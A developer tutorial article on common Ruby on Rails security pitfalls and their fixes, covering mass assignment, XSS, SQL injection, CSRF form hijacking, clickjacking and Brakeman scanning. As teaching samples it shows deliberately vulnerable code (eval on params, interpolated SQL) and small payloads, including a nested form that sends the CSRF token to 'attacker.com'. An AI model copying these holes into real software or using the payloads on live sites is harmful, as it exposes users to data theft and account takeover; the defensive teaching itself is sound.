Ruby
Article
By Ilya Bodrov-Krukowski

Common Rails Security Pitfalls and Their Solutions

By Ilya Bodrov-Krukowski
Help us help you! You'll get a... FREE 6-Month Subscription to SitePoint Premium Plus you'll go in the draw to WIN a new Macbook SitePoint 2017 Survey Yes, let's Do this It only takes 5 min

The Ruby on Rails framework does its best to keep you secure. However, as the official documentation suggests, there is no such thing as “plug-and-play security”. Therefore, it’s important to understand common (and less common) security pitfalls that you may encounter. In this article, we will discuss some of these security issues, as well as the steps to make your application more protected.

The topics to be covered:

  • Mass assignment
  • XSS attacks
  • Executing arbitrary code
  • SQL injections
  • Form hijacking
  • Logging private data
  • Revealing private tokens
  • Embedding a site via IFrame
  • Uploading executable files
  • Using Brakeman to detect possible problems

This is is a redo of the original article Rails Security Pitfalls published at September 23, 2013.

Mass Assignment

This is probably one of the most common security pitfalls, so I’ve listed it first. What mass assignment means is that a hacker tries to update multiple fields in the database at once, including those that are not supposed to be modified by an ordinary user.

Suppose, for example, that you have some form to edit a user’s profile:

<%= form_for @user do |f| %>
  <%= f.label :name %>
  <%= f.text_field :name %>

  <%= f.label :surname %>
  <%= f.text_field :surname %>

  <%= f.submit %>
<% end %>

Okay, and now the controller’s action:

def update
  @user = User.find(params[:id])
  if @user.update_attributes(params[:user])
    redirect_to some_path
  else
    render :edit
  end
end

This looks totally legit, but, in actuality, it’s a massive security hole. If the users table has an admin column, it can be easily modified by a malicious person with the current version of the controller’s method. The only thing a hacker needs to do is to manually add a hidden field to the page that looks something like this:

<input type="hidden" name="user[admin]" value="true">

Guess what happens? The hacker is now an admin because we happily allow it to happen. This is very bad indeed, so that’s why strong parameters were introduced in Rails core starting from version 4. With strong parameters, you whitelist the attributes that are permitted to be changed by the users:

def update
  @user = User.find(params[:id])
  if @user.update_attributes(user_params)
    redirect_to some_path
  else
    render :edit
  end
end

private

def user_params
  params.require(:user).permit(:name, :surname)
end

Now, only name and surname can be modified – any other parameter will be simply ignored.

If you wish to permit all parameters under the given key, use the permit! method:

params.require(:user).permit!

However, be extremely cautious when doing this.

In versions up to Rails 3, strong parameters were not yet a part of the core, so we had to stick with the attr_accessible method that was specified inside the model:

class MyModel
  attr_accessible :name, :surname
end

XSS Attacks

Remember that phrase said by Conan’s father: “No one in this world can you trust: that men, that women, that beasts…”? The same concept applies to the web. Never trust any data sent by the users unless your application is utilized by a small group of people or for internal usage only. Actually, even in such cases, don’t trust your users because they may do something cruel simply by mistake or as an April Fool’s Day joke.

Any output into the Rails’ views is escaped by default since version 3 of rails. There is a way to change this behaviour by employing the html_safe method, but be really careful when doing it:

# your controller
@blog_post = current_user.blog_posts.find_by(id: params[:id])

# your view
<%= @blog_post.body.html_safe %>

If anyone (not just you) is permitted to write blog posts, then a malicious person may try to insert some JavaScript into the body of the post and it will be processed like any other script. A hacker may just display some alert boxes on your site or redirect users to some other resource by rewriting the window.location.href attribute. A more cunning attacker may embed a key logger on your site and try to steal the users’ passwords which is, of course, much worse.

Therefore, if you display user-generated content on a page, never apply the html_safe method directly to it. First, use the sanitize method and specify the list of permitted tags: usually the ones used for formatting, like b or i:

<%= sanitize(@blog_post.body, tags: %w(b strong em i)).html_safe %>

There is also a gem called Sanitize that provides some advanced stuff which is useful if you have this issue.

Executing Arbitrary Code

Be very careful when you run code generated on the fly based on the information sent by a user, as you may introduce a serious vulnerability. This especially applies to methods from the ActiveSupport::Inflector module or methods like eval, as carefully crafted params may expose your system to an attacker. For example, this is very insecure and should be avoided at all times:

eval(params[:id])

If you really need to run code based on the user’s input, do validate the received data and whitelist the permitted values.

SQL Injection

SQL injections are used to access or manipulate sensitive data that a user is not be authorized to change. In most cases, Rails developers are protected from the SQL injections, as operations like

@user = User.find_by(id: params[:id])

are sanitized by default (the same applies to using strong parameters.) However, it’s important to remember that actions like these

@user = User.where("id = '#{params[:id]}'")

are not sanitized therefore never do it! A hacker may construct the following link http://yoursite.com/user?id=' OR 1 - and effectively see all users of the site (as this condition is always true.)

To protect from such an attack, use interpolation with the help of the ? symbols for complex queries:

@user = User.where("id = ?", params[:id])

In this case, the input will be sanitized. Also now, with Arel as a part of the Rails’ core, queries are simpler to write. For example:

@user = User.where("id = ? OR name = ?", params[:id], params[:name])

can be re-written as:

@user = User.where(id: params[:id]).or(where(name: params[:name]))

Form Hijacking

Rails 5 applications add a CSRF token to each form (there was a single token for all forms prior to Rails 5) on the page. This is done to prevent a pretty rare type of attack when a hacker inserts his own malicious form into a legit one:

<form method="post" action="//attacker.com/tokens">
  <form method="post" action="/legit_action">
  <input type="hidden" name="authenticity_token" value="thetoken">
</form>

HTML does not allow the nesting the form tags, therefore the malicious form will supersede the legit one, all while retaining the token. If the form is submitted, the token is sent to the malicious website. This type of attack is very niche and narrow, but it’s worth knowing about.

New Rails 5 applications have the Rails.application.config.action_controller.per_form_csrf_tokens option set to true, so make sure you add it, as well, when migrating from previous versions. This setting is usually found inside the config/initializers/new_framework_defaults.rb file.

Revealing Private Tokens

Your application probably uses a bunch of private tokens for interacting with third-party APIs or to enable OAuth 2 authentication. It’s important to be very careful with these tokens and never expose them to the public (for example, in a public GitHub repository). The easiest thing to do is to extract them into environment variables and use a gem like dotenv-rails. With dotenv-rails you create a file called .env and ignore it from version control:

.gitignore

.env

and then place your tokens in that file:

TWITTER_KEY=123
TWITTER_SECRET=456

For production, these variables are usually set inside the server config file. For Heroku, use the following command:

$ heroku config:add TWITTER_KEY=123 TWITTER_SECRET=456

In older versions of Rails, a secret token to secure cookies was listed inside the config/initializers/secret_token.rb file, but that’s not the case anymore. Rails 4 introduced a special config/secrets.yml file with the production token already configured to use an ENV variable:

production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

By the way, do not forget to set the secret_key_base environment variable, because otherwise anyone can tamper with the contents of the cookies which can lead to serious problems. Also, do not set a simple value for the secret_key_base – run the rails secret command instead and use the generated value.

--ADVERTISEMENT--

Logging Private Data

Rails applications log all interactions for you and that’s a good thing. The bad thing is that sometimes private data can be logged, as well, and become available to anyone who has access to the server. Examples of said data include users’ passwords, card numbers, CCV numbers, and so on.

You probably know that there is a Rails.application.config.filter_parameters setting defined inside the config/initializers/filter_parameter_logging.rb file. Initially it looks like this:

Rails.application.config.filter_parameters += [:password]

However, make sure to update this setting accordingly if your application works with other sensitive data. Note that strings and symbols here are converted to regular expressions automatically, so any field containing “password” will be filtered out and replaced with the [FILTERED] text.

Sending Sensitive Data via HTTP

This may sound pretty obvious but I still want to pinpoint the fact that sensitive data should never be transported via plain HTTP. For example, suppose you set up very simple HTTP basic authentication like this:

class SomeController < ApplicationController
  before_action :authenticate!
  private
  def authenticate!
    authenticate_or_request_with_http_basic do |id, password|
        name == 'admin' && password == '12345'
    end
  end
end

The username and the password can be easily spoofed by a hacker using a tool like Wireshark if the connection is not encrypted. Therefore, you must enforce SSL for the current controller;

class SomeController < ApplicationController
  force_ssl
  before_action :authenticate!
  #...
end

The force_ssl method accepts the if and unless options to set up conditions. Also, SSL can be enforced for the whole application by setting

config.force_ssl = true

inside the config/application.rb.

Uploading Executable Files

Many applications allow users to upload their files, such as images or text documents. When doing so, however, it is very important to validate the file size and be extremely careful with executables and scripts.

A hacker can try to upload a malicious file to your server that may be executed automatically, leading to very serious problems. This is the case when, for example, the uploaded files are placed inside the public directory when it is also set as Apache’s root directory.

Popular solutions like Paperclip, Carrierwave, Dragonfly and others provide validation mechanics, so be sure to check their documentation when implementing file uploading functionality.

Regular Expressions

Programmers who are new to the Ruby language often treat the ^ and $ symbols in regular expressions as the start and the end of a string. In reality, though, these symbols mean the start and the end of the line, not a whole string. Therefore, this regular expression to validate a user-entered URL:

/^https?:\/\/[^\n]+$/i

is not very secure, because a hacker is free to provide

javascript:some_bad_code();/*
http://anything.com
*/

This is going to be a correct URL from the regexp’s point of view. If later you insert this URL (stored inside the website column) into the view:

link_to "User's website", @user.website

anyone who clicks this link will effectively run the malicious JavaScript code. To protect from such attacks, use the \A and \z symbols which correspond to the string’s start and end instead of ^ and $:

/\Ahttps?:\/\/[^\n]+\z/i

Interestingly, newer Rails applications are aware of this common mistake and the format validator (validates :some_column, format: {...}) will raise an error when you use ^ and $ symbols in a regular expression. If you are absolutely sure that you need these symbols, not \A and \z, set the multipart option to true when creating this validator.

By the way, to test your regular expressions online you can use a website called Rubular.

Embedding Site via IFrame

Lastly, let me tell you about a less common, but pretty interesting type of attack. By default, your website can be embedded into any other resource using an iframe:

<iframe src="http://your-resource.com">

Seems like nothing wrong is going on here. Suppose, however, your website has a page to change a user’s password. It has two fields (password and password confirmation) as well as the submit button.

The hacker then creates a website like “winiphone7.com” claiming to be totally legit. On this website they display two text fields and a button that have the same positioning and widths as the elements on your site (specifically, on the “change password” page). They also embed your application via an Iframe but make it invisible with the help of the opacity style attribute. This Iframe is then being positioned precisely over the text fields and the submit button. Then the hacker writes something like: “Type the phrase ‘I want iPhone 7!!!” twice in these two fields and press the ‘Submit’ button. You will then participate in our giveaway and have great chances of winning a new iPhone! P.S. Don’t worry, all the typing will be hidden”.

You see what I mean?

A user will think that they are entering some text into the fields on the winiphone7.com website, but in reality, they change their password on your website and sets it to “I want iPhone 7!!!”.

Of course, this type of attack is not very widespread and pretty unlikely to be successful: most of the users will find it suspicious that their typing is hidden. Also, it will only work if their session on your website is still active.

Still, keep this possibility in mind and don’t allow embedding your website in other resources by setting the X-Frame-Options HTTP header inside the config/application.rb file like this:

config.action_dispatch.default_headers = {
    'X-Frame-Options' => 'SAMEORIGIN'
}

Newer Rails applications respond with this header by default.

Using Brakeman to Assess Your Application

Brakeman is a popular gem that scans your application for common security problems. Add it into the Gemfile:

group :development do
  gem 'brakeman', require: false
end

Install the new gem:

$ bundle install

You can then run it by executing the brakeman command. After the scanning is finished, Brakeman will present a report for you in one or multiple supported formats (HTML, Markdown, CSV, JSON and others are supported).

For example, to generate an HTML report, set the -f key:

$ brakeman -f html

or specify a file name with the proper extension:

$ brakeman -o output.html

Brakeman marks each found vulnerability with either a High, Medium, or Weak label to note the confidence level (that is, how likely this warning is an actual problem). Note, however, that this tool is not perfect and cannot possibly find all potential problems, therefore do not rely solely on its output!

Conclusion

We’ve come to the end of this article. Of course, there are many more possible security problems an application may have, therefore it’s important to assess it before publishing to production. Spend some time reading the official security guide and use Brakeman to help you search for vulnerabilities.

If you know about other common security problems, do share them in the comments to help your fellow developers. Thank you for reading this article and stay secured!

Login or Create Account to Comment
Login Create Account
Recommended
Sponsors
Get the latest in Ruby, once a week, for free.